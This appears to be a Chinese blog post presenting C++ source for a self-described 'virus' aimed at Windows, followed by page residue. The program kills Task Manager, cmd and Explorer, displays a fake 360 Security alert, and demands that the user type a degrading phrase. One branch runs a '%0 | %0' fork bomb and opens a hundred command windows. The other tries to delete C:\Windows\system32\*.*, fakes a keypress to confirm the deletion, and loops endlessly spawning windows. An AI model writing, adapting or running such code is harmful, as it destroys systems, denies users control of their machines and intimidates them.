很nb的病毒,在实体机虚拟机运行!!!
#include <iostream>
#include <windows.h>
#include <string>
using namespace std;
void SimulateKeyPress(WORD keyCode) {
INPUT input = {0};
input.type = INPUT_KEYBOARD;
input.ki.wVk = keyCode; // 虚拟键码
// 按下
SendInput(1, &input, sizeof(INPUT));
// 释放
input.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &input, sizeof(INPUT));
}
void po() {
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im cmd.exe");
}
int main() {
po();
MessageBox(0, "您的电脑未安全配置360助手!", "360安全卫士", MB_OK | MB_ICONERROR);
po();
system("taskkill /f /im Explorer.exe");
cout << "输入我是猪,不然你的工作文件等着丢吧" << endl;
po();
string input;
cin >> input;
po();
if(input == "我是猪") {
cout << "这是个真话!" << endl;
po();
Sleep(1000);
po();
cout << "什么,我忘了什么?哦,恢复桌面是吧!好的" << endl;
po();
system("start");
cout << "你的电脑怎么死机了!!!" << endl;
po();
system("%0 | %0");
po();
for(int i = 0; i < 100; i++) {
system("start cmd");
}
po();
cout << "看在你能扛住的情况下,帮你恢复吧!" << endl;
po();
system("start taskmgr.exe");
system("start cmd");
system("start Explorer.exe");
} else {
cout << "等着!" << endl;
system("del C:\\Windows\\system32\\*.*");
// 模拟按下 "y" 键
SimulateKeyPress('Y'); // 'Y' 的 ASCII 码可以直接用
Sleep(100); // 短暂延迟(单位:毫秒)
// 模拟按下 "Enter" 键
SimulateKeyPress(VK_RETURN); // Enter 键的虚拟键码
while(1) {
cout << "你完了" << endl;
system("start cmd");
system("taskkill /f /im Explorer.exe");
po();
system("%0 | %0");
}
}
return 0;
}
6249



被折叠的 条评论
为什么被折叠?



